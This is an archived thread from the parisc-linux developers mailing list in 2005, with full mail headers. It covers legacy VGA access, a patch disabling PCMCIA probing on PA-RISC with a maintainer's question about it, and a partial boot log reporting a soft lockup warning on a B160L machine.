X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: e1b9Y3gJeSEkTL6WZHQhaXN1IGRvb8AX
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23218

On Wednesday 30 November 2005 10:06 pm, Kyle McMartin wrote:
> At the moment, there's absolutely no support for legacy VGA
> registers. Legacy IO port accesses will likely timeout doing an access
> to the PCI bus behind rope0. Legacy VGA mmio will, uh, do something
> funny.

Oh, yes, I vaguely remember that :-)

IIRC, there was a back-door approach that Grant thought might work.
My patch provides the hooks you'd need for that.  Instead of
reprogramming the chipset VGA routing and doing inb/outb, you'd
just do the LBA magic for I/O port accesses.

I don't know how MMIO would be handled (or even what chipset is
in the box in question).  But my guess is that it's similar to
how the current chipsets work.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] PCMCIA: Disable probing on parisc
Date: Sun, 4 Dec 2005 01:04:23 -0500
Lines: 41
Approved: news@gmane.org
Message-ID: <20051204060423.GA12355@quicksilver.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623943 17005 80.91.229.3 (22 Nov 2014 02:39:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:03 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: linux-pcmcia@lists.infradead.org
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Dec 2005 06:05:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx070) with SMTP; 04 Dec 2005 07:05:13 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D8B357D6A9;
	Sat,  3 Dec 2005 23:05:09 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32440-03; Sat, 3 Dec 2005 23:05:09 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D7F0D7D6AA;
	Sat,  3 Dec 2005 23:05:08 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9F76D7D6A8
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  3 Dec 2005 23:05:04 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32177-10 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 3 Dec 2005 23:05:04 -0700 (MST)
Original-Received: from fattire.cabal.ca (fattire.cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id 0ABA97D6A6
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  3 Dec 2005 23:05:04 -0700 (MST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 03BBD17089;
	Sun,  4 Dec 2005 01:04:28 -0500 (EST)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07341-07; Sun, 4 Dec 2005 01:04:27 -0500 (EST)
Original-Received: from quicksilver.road.mcmartin.ca
	(CPE0030ab0b413b-CM0012c9a9a56e.cpe.net.cable.rogers.com
	[70.28.1.105])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id B931617083;
	Sun,  4 Dec 2005 01:04:27 -0500 (EST)
Original-Received: by quicksilver.road.mcmartin.ca (Postfix, from userid 1000)
	id 750433B059; Sun,  4 Dec 2005 01:04:23 -0500 (EST)
Content-Disposition: inline
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: TuLgY95CeSEkNL6WZHQhaXN1IGRvb8AX
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23219

PCMCIA port and memory probing is broken on parisc, disabling both
allows the PCMCIA subsystem to work on parisc systems.

Signed-off-by: James Bottomley <jejb@parisc-linux.org>
Signed-off-by: Kyle McMartin <kyle@parisc-linux.org>

--- a/drivers/pcmcia/Kconfig	2005-11-29 10:53:24.000000000 -0700
+++ b/drivers/pcmcia/Kconfig	2005-11-11 21:08:04.000000000 -0700
@@ -200,7 +200,11 @@
 
 config PCMCIA_PROBE
 	bool
-	default y if ISA && !ARCH_SA1100 && !ARCH_CLPS711X
+	default y if ISA && !ARCH_SA1100 && !ARCH_CLPS711X && !PARISC
+
+config PCMCIA_PROBE_MEM
+	bool
+	default y if !PARISC
 
 config M32R_PCC
 	bool "M32R PCMCIA I/F"
--- a/drivers/pcmcia/rsrc_nonstatic.c	2005-11-29 10:53:24.000000000 -0700
+++ b/drivers/pcmcia/rsrc_nonstatic.c	2005-11-11 21:08:04.000000000 -0700
@@ -43,7 +43,11 @@
 
 #define INT_MODULE_PARM(n, v) static int n = v; module_param(n, int, 0444)
 
+#ifdef CONFIG_PCMCIA_PROBE_MEM
 INT_MODULE_PARM(probe_mem,	1);		/* memory probe? */
+#else
+INT_MODULE_PARM(probe_mem,	0);		/* memory probe? */
+#endif
 #ifdef CONFIG_PCMCIA_PROBE
 INT_MODULE_PARM(probe_io,	1);		/* IO port probe? */
 INT_MODULE_PARM(mem_limit,	0x10000);
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Russell King <rmk+pcmcia@arm.linux.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] PCMCIA: Disable probing on parisc
Date: Sun, 4 Dec 2005 10:33:38 +0000
Lines: 20
Approved: news@gmane.org
Message-ID: <20051204103338.GA16791@flint.arm.linux.org.uk>
References: <20051204060423.GA12355@quicksilver.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623943 17006 80.91.229.3 (22 Nov 2014 02:39:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:03 +0000 (UTC)
Cc: linux-pcmcia@lists.infradead.org,
 parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Dec 2005 10:34:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx070) with SMTP; 04 Dec 2005 11:34:02 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BD2C17D6BB;
	Sun,  4 Dec 2005 03:33:54 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01546-01; Sun, 4 Dec 2005 03:33:54 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 571487D6B7;
	Sun,  4 Dec 2005 03:33:53 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 542FA7D6B5
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  4 Dec 2005 03:33:49 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00896-09 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 4 Dec 2005 03:33:48 -0700 (MST)
Original-Received: from caramon.arm.linux.org.uk (caramon.arm.linux.org.uk
	[212.18.232.186])
	by free.linux.hp.com (Postfix) with ESMTP id 90D597D6B4
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  4 Dec 2005 03:33:48 -0700 (MST)
Original-Received: from flint.arm.linux.org.uk ([2002:d412:e8ba:1:201:2ff:fe14:8fad])
	by caramon.arm.linux.org.uk with esmtpsa (TLSv1:DES-CBC3-SHA:168)
	(Exim 4.52) id 1EirBd-0008Ll-Ie; Sun, 04 Dec 2005 10:33:42 +0000
Original-Received: from rmk by flint.arm.linux.org.uk with local (Exim 4.52)
	id 1EirBb-0004Xv-3g; Sun, 04 Dec 2005 10:33:39 +0000
Mail-Followup-To: Kyle McMartin <kyle@parisc-linux.org>,
	linux-pcmcia@lists.infradead.org, parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20051204060423.GA12355@quicksilver.road.mcmartin.ca>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: TaPgY7AueSEkNL6WZHQhaXN1IGRvbwAP
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23220

On Sun, Dec 04, 2005 at 01:04:23AM -0500, Kyle McMartin wrote:
> PCMCIA port and memory probing is broken on parisc, disabling both
> allows the PCMCIA subsystem to work on parisc systems.

Do you know why it's broken?

The memory probing works by mapping the CIS into memory and then trying
to read it.  If you're saying it's broken, that implies that we can't
read the CIS, and therefore we can't use the addresses being probed.

-- 
Russell King
 Linux kernel    2.6 ARM Linux   - http://www.arm.linux.org.uk/
 maintainer of:  2.6 Serial core
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] PCMCIA: Disable probing on parisc
Date: Sun, 4 Dec 2005 12:52:01 -0500
Lines: 20
Approved: news@gmane.org
Message-ID: <20051204175201.GA20053@quicksilver.road.mcmartin.ca>
References: <20051204060423.GA12355@quicksilver.road.mcmartin.ca>
	<20051204103338.GA16791@flint.arm.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623943 17012 80.91.229.3 (22 Nov 2014 02:39:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:03 +0000 (UTC)
To: linux-pcmcia@lists.infradead.org,
 parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Dec 2005 17:52:10 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx057) with SMTP; 04 Dec 2005 18:52:10 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3494F7D6C2;
	Sun,  4 Dec 2005 10:52:07 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05548-08; Sun, 4 Dec 2005 10:52:07 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 85D6E7D6C3;
	Sun,  4 Dec 2005 10:52:06 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EA2D27D6C1
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  4 Dec 2005 10:52:03 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05553-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 4 Dec 2005 10:52:03 -0700 (MST)
Original-Received: from fattire.cabal.ca (fattire.cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id 52CE67D6BF
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  4 Dec 2005 10:52:03 -0700 (MST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 4AD6717088;
	Sun,  4 Dec 2005 12:52:02 -0500 (EST)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12271-01; Sun, 4 Dec 2005 12:52:02 -0500 (EST)
Original-Received: from quicksilver.road.mcmartin.ca
	(CPE0030ab0b413b-CM0012c9a9a56e.cpe.net.cable.rogers.com
	[70.28.1.105])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id C845917083;
	Sun,  4 Dec 2005 12:52:01 -0500 (EST)
Original-Received: by quicksilver.road.mcmartin.ca (Postfix, from userid 1000)
	id 9B8173B059; Sun,  4 Dec 2005 12:52:01 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20051204103338.GA16791@flint.arm.linux.org.uk>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: nEnhYxsXeSEkS76WZHQhaXN1IGRvbwCF
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23221

On Sun, Dec 04, 2005 at 10:33:38AM +0000, Russell King wrote:
> Do you know why it's broken?
>

I'll have to defer to James Bottomley. He was the one who committed
the fixes (I believe he's using pcmcia on a parisc machine for wireless)
originally, I'm just passing along the patches.
 
Cheers,
	Kyle

> The memory probing works by mapping the CIS into memory and then trying
> to read it.  If you're saying it's broken, that implies that we can't
> read the CIS, and therefore we can't use the addresses being probed.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.6.15-rc5-pa2: "BUG: soft lockup detected on CPU#0!"
Date: Mon, 5 Dec 2005 20:12:25 +0100
Lines: 111
Approved: news@gmane.org
Message-ID: <200512052012.25492.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623943 17015 80.91.229.3 (22 Nov 2014 02:39:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:03 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Dec 2005 19:12:49 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx027) with SMTP; 05 Dec 2005 20:12:49 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 058607D670;
	Mon,  5 Dec 2005 12:12:46 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14382-05; Mon, 5 Dec 2005 12:12:45 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DF02A7D669;
	Mon,  5 Dec 2005 12:12:44 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E64807D666
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Dec 2005 12:12:40 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14225-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 5 Dec 2005 12:12:40 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id E563E7D665
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Dec 2005 12:12:39 -0700 (MST)
Original-Received: (qmail invoked by alias); 05 Dec 2005 19:12:36 -0000
Original-Received: from p54AD1303.dip0.t-ipconnect.de (EHLO ls-cups.box) [84.173.19.3]
	by mail.gmx.net (mp024) with SMTP; 05 Dec 2005 20:12:36 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ZfTmY90TeSEkab6WZHQhaXN1IGRvb4CZ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23222

Hello,

2.6.15-rc5-pa2 boots on all my machines (715/64, B160L, C3000) with the 32bit kernel, but on the B160L I see the 
BUG: soft lockup detected on CPU#0!
message below.
Any ideas ?

PS: The message seems to be more informational, since the kernel still boots up fine.

Helge
------------------
Linux version 2.6.15-rc5-pa2 (root@p100) (gcc version 3.3.4 (Debian 1:3.3.4-11)) #220 Mon Dec 5 17:39:15 CET 2
005
FP[0] enabled: Rev 1 Model 15
The 32-bit Kernel has started...
Initialized PDC Console for debugging.
Determining PDC firmware type: System Map.
model 00005020 00000481 00000000 02020202 7794d7fe 100000f0 00000004 000000ba 000000ba
vers  00000008
CPUID vers 15 rev 8 (0x000001e8)
capabilities 0x2
model 9000/778/B160L
Total Memory: 512 MB
On node 0 totalpages: 131072
  DMA zone: 131072 pages, LIFO batch:31
  DMA32 zone: 0 pages, LIFO batch:0
  Normal zone: 0 pages, LIFO batch:0
  HighMem zone: 0 pages, LIFO batch:0
LED display at f0190001 registered
Built 1 zonelists
Kernel command line: HOME=/ root=/dev/sda3 ip=bootp console=ttyS0 TERM=vt102 palo_kernel=0/vmlinux
PID hash table entries: 4096 (order: 12, 65536 bytes)
Console: colour dummy device 160x64
Dentry cache hash table entries: 131072 (order: 7, 524288 bytes)
Inode-cache hash table entries: 65536 (order: 6, 262144 bytes)
Memory: 524288k available
Calibrating delay loop... 106.49 BogoMIPS (lpj=532480)
Mount-cache hash table entries: 512
NET: Registered protocol family 16
EISA bus registered
Searching for devices...
Found devices:
1. Phantom PseudoBC GSC+ Port at 0xffc00000 [8] { 7, 0x0, 0x504, 0x00000 }
2. Dino PCI Bridge at 0xfff80000 [8/0] { 13, 0x3, 0x680, 0x0000a }
3. Merlin+ 132 Dino RS-232 at 0xfff83000 [8/0/63] { 10, 0x0, 0x022, 0x0008c }
4. Merlin 160 Core FW-SCSI at 0xfff8c000 [8/12] { 4, 0x0, 0x03d, 0x00089 }
5. Merlin 160 Core BA at 0xffd00000 [8/16] { 11, 0x0, 0x03d, 0x00081 },  additional addresses: 0xffd0c000 0xff
c00000
6. Merlin 160 Core RS-232 at 0xffd05000 [8/16/4] { 10, 0x0, 0x03d, 0x0008c }
7. Merlin 160 Core SCSI at 0xffd06000 [8/16/5] { 10, 0x0, 0x03d, 0x00082 }
8. Merlin 160 Core LAN (802.3) at 0xffd07000 [8/16/6] { 10, 0x0, 0x03d, 0x0008a }
9. Merlin 160 Core Centronics at 0xffd02000 [8/16/0] { 10, 0x0, 0x03d, 0x00074 },  additional addresses: 0xffd
01000 0xffd03000
10. Merlin 160 Core Audio at 0xffd04000 [8/16/1] { 10, 0x4, 0x03d, 0x0007b }
11. Merlin 160 Core PS/2 Port at 0xffd08000 [8/16/7] { 10, 0x0, 0x03d, 0x00084 }
12. Merlin 160 Core PS/2 Port at 0xffd08100 [8/16/8] { 10, 0x0, 0x03d, 0x00084 }
13. Coral SGC Graphics at 0xfa000000 [8/4] { 10, 0x0, 0x004, 0x00077 }
14. Coral SGC Graphics at 0xf4000000 [8/8] { 10, 0x0, 0x004, 0x00077 }
15. Gecko GSC Core Graphics at 0xf8000000 [8/24] { 10, 0x0, 0x016, 0x00085 },  additional addresses: 0xf001100
0
16. Merlin L2 160 (9000/778/B160L) at 0xfffbe000 [62] { 0, 0x0, 0x502, 0x00004 }
17. Memory at 0xfffbf000 [63] { 1, 0x0, 0x067, 0x00009 }
18. Merlin+ 132 Dino PS/2 Port at 0xfff81000 [1] { 10, 0x0, 0x022, 0x00096 }
CPU(s): 1 x PA7300LC (PCX-L2) at 160.000000 MHz
BUG: soft lockup detected on CPU#0!

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001000000000000001111 Not tainted
r00-03  00000000 10423810 10127878 0000000f
r04-07  104e5810 fffff4b2 104e5810 104e5810
r08-11  10423810 0000000f 0000003c 10423f3c
r12-15  10423810 104e4810 10425010 f0100000
r16-19  f0000c70 f0000194 1fffffe0 104230b4
